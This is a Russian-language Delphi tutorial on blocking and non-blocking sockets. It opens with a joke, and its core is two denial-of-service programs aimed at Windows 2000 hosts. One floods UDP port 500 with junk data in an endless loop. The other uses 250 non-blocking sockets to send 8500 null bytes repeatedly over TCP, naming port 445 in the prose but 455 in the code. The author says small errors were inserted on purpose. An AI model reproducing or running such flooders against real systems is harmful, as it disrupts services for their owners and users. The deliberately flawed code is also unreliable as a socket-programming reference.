Сокеты 3 (Кодинг неблокирующих сокетов)
|
Сидит компания инетчиков в кафешке, пиво пьют, отдыхают. Тут один шутит. Все молчат. Минуту молчат, две, три, не шевелясь. Наконец один из них смеется.
- Ты чего так долго молчал? - спрашивает рассказчик.
- Да коннект плохой, наладить не мог...
|
Удаленный отказ работы
Рассмотрим пример 2 дырок в win2k. Описание можно взять на DoS против Microsoft Windows 2000 и DoS против Microsoft Windows 2000 Internet Key Exchange. В код будут добавленны небольшие преднамеренные ошибки (на всякий случай), но после внимательного прочтения статей, проблем с этим быть не должно. Рассмотрим сначала вторую уязвимость и напишем "клиент" на блокирующем сокете. Порт - 500, UDP. Будут использованы функции из первой и второй статей. Вот исходники на Delphi:
program IKE_attack;
uses
WinSock;
const MyComp = 'ADDRESS';
var
wsadata : TWSAData;
sin: TSockAddrIn;
sock: TSocket;
I : Cardinal;
Buf : string;
begin
WSAStartUp(257, wsadata);
// Инициализируем сокет для соединения с удаленным компьютером по UDP
// Протокол - UDP, отправка данных - SOCK_DGRAM
sock:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sin.sin_family := AF_INET;
// Порт - 500
sin.sin_port := htons(500);
// Преобразуем адрес в четырехбайтное число с помощью функции,
// рассмотреной в первой статье
sin.sin_addr.S_addr:=d_addr(MyComp);
// Соединение
I:=connect(sock,sin,sizeof(sin));
// если нельзя соединиться - выход
if I<=0 then
halt(1);
// Формирование мусора для отсылки
Buf:='';
for I:=1 to 1024 do
Buf:=Buf+chr(30+round(60));
// Посылка мусора с помощью функции,
рассмотренной во второй статье
while true do
DTrsend(Buf,1024,sock);
end.
|
Все просто. Инициализируем сокет для UDP, соединяемся и отправляем на 500 порт мусор, длинной 1024 байта. Теперь рассмотрим первую уязвимость и напишем "клиента", с использованием неблокирующих сокетов. Соединение - TCP, порт - 445. Будем использовать 250 синхронных сокетов, которые будут инициализироваться, соединяться и посылать буфер из 8500 нулевых символов. Как и в предыдущем примере, выход из программы написать в лом и программу придется, если что, прерывать через TaskManager. Исходя из теории в предыдущих статьях, нам потребуется массив из 250 сокетов и массив, в котором мы будем хранить флаги. Флаги нам нужны для линейной работы сокета. В данном конкретном случае, нужно 3 флага - сокет закрыт, идет соединение, соединение произошло - нужно отправить буфер данных и поставить флаг "сокет закрыт". В цикле идет постоянный опрос по select - в каком состоянии находится сокет с последующей установкой соответствующих флагов и выполнением неблокирующих операций сокетов. Рассмотрим для простоты на одном сокете. Идет инициализация, переход в неблокирующий режим, запуск connect на соединение и установка флага "сокет соединяется". Если по select получили, что уже соединились и можно отправить данные, то происходит установка флага "сокет соединился". В цикле, если встречается флаг "сокет соединился", то происходит отправка данных, установка флага "сокет закрыт" и закрытие сокета. ВНИМАНИЕ!!! Перед закрытием, сокет необходимо перевести в блокирующий режим. Вот исходники на Delphi с подробными комментариями:
program port445TCP;
uses
WinSock;
const
maxproccess=250; // Количество процессов
// Флаги
CLOSE_SOCK=0;
CONNECTING_SOCK=1;//
CONNECTED_SOCK=2; //
// Таймаут
TIME_OUT=10;
var
// Массив сокетов
sock : array [1..maxproccess] of TSocket;
// Массив флагов
stat : array [1..maxproccess] of Byte;
time : array [1..maxproccess] of Byte;
wsa:WSAData;
addr : Tsockaddr;
x : integer;
// Сигнал блокировки сокета
on_sock : LongInt = 1;
off_sock : LongInt = 0;
wfds_empty : Boolean;
wfds : Tfdset;
tv : Ttimeval;
buf : array[1..8500] of char;
begin
// Обнулим буфер отправки
FillChar(Buf,8500,0);
WSAStartup($101,wsa);
// Начальная установка флагов
for x:=1 to maxproccess do
stat[x]:=CLOSE_SOCK;
>repeat // бесконечный цикл
// Инициализация сокетов
for x:=1 to maxproccess do
begin
// Если сокет свободен
if stat[x]=CLOSE_SOCK then
begin
sock[x]:=socket(AF_INET,SOCK_STREAM,0);
time[x]:=TIME_OUT;
// ВНИМАНИЕ!!! Перевод сокета в неблокирующий режим
ioctlsocket(sock[x],FIONBIO,on_sock);
addr.sin_family:=AF_INET;
// Порт
addr.sin_port:=htons(455);
// Здесь необходимо указать адрес и используется функция
// преобразования адреса из первой статьи
addr.sin_addr.s_addr:=d_addr('ADDRESS');
// Неблокирующее соединение
connect(sock[x],addr,sizeof(addr));
stat[x]:=CONNECTING_SOCK;
end;
end;
// Использование макросов FD_ для установок и проверки
// нужно ли делать select
FD_ZERO(wfds);
wfds_empty:=true;
for x:=1 to maxproccess do
begin
if stat[x]=CONNECTING_SOCK then
begin
FD_SET(sock[x],wfds);
wfds_empty:=false;
end;
end;
// select-ируем сокеты с флагом "сокет соединяется",
// с установкой таймаута и проверкой на
// возможность отсылки данных
if not wfds_empty then
begin
tv.tv_sec:=1;
tv.tv_usec:=0;
select(0,nil,@wfds,nil,@tv);
end;
// Проверка тайм-аута
for x:=1 to maxproccess do
begin
if stat[x]<>CLOSE_SOCK then
begin
dec(time[x]);
// Если время на соединение истекло -
// закрываем сокет с установкой флага
if time[x]=0 then
begin
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
// Проверка на соединение (соединились ли уже)
if stat[x]=CONNECTING_SOCK then
begin
// Если соединение уже произошло и можно отправлять данные -
// установим флаг
if FD_ISSET(sock[x],wfds) then
stat[x]:=CONNECTED_SOCK;
end;
// Проверка на возможность отправки
if stat[x]=CONNECTED_SOCK then
begin
FD_CLR(sock[x],wfds); // обнулим буфер сокета
send(sock[x],buf[1],8500,0);
// Отправка данных и закрытие сокета
stat[x]:=CLOSE_SOCK;
// ВНИМАНИЕ!!! Перевод сокета в блокирующий режим
// перед закрытием
ioctlsocket(sock[x],FIONBIO,off_sock);
closesocket(sock[x]);
end;
end;
until
false;
end.
|
Это самый простейший пример - только отправка. Для использования приема, необходимо подключить большее количество флагов и второй параметр select. В этом коде также нет проверки ошибок, но дописать код - это уже детали. Не хотелось излишне загромождать исходники.
Клиент на синхронном сокетном движке
Более подробную информацию о неблокирующих сокетах и разных примерах их использования, можно получить посмотрев исходники моей программы "DScan" v.1.3. Для создания сокетного движка использовались неблокирующие сокеты, работающие на отдельных потоках для каждого сервиса программы. По программе "DScan" версий 1.2 и 1.3, можно оценить скорость и устойчивость двух разных подходов к программированию сокетных движков. Теоретически, преимущества и недостатки я рассматривал в предыдущих статьях
В следующей статье я рассмотрю работу с неблокирующими сокетами. Как пример, будет рассмотрена уязвимость w2k, приводящая к "синему экрану".
P.S. Статья и программы предоставлены в целях обучения и вся ответственность за использование ложится на твои хилые плечи.
|